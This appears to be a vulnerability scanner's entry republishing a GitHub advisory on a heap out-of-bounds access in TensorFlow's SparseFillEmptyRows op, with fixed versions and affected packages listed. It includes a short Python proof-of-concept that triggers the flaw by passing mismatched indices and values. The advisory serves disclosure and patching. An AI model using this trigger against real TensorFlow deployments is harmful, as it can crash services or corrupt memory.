QID 980189
QID 980189: Python (pip) Security Update for tensorflow-gpu (GHSA-rg3m-hqc5-344v)
Security update has been released for tensorflow-gpu,tensorflow,tensorflow-cpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
The [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L194-L241) of `SparseFillEmptyRows` can be made to trigger a heap OOB access:
```python
import tensorflow as tf
data=tf.raw_ops.SparseFillEmptyRows(
indices=[[0,0],[0,0],[0,0]],
values=['sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss'],
dense_shape=[5,3],
default_value='o')
```
This occurs whenever the size of `indices` does not match the size of `values`.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
- GHSA-rg3m-hqc5-344v -
github.com/advisories/GHSA-rg3m-hqc5-344v
CVEs related to QID 980189
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-rg3m-hqc5-344v | tensorflow |
|
|
| GHSA-rg3m-hqc5-344v | tensorflow-cpu |
|
|
| GHSA-rg3m-hqc5-344v | tensorflow-gpu |
|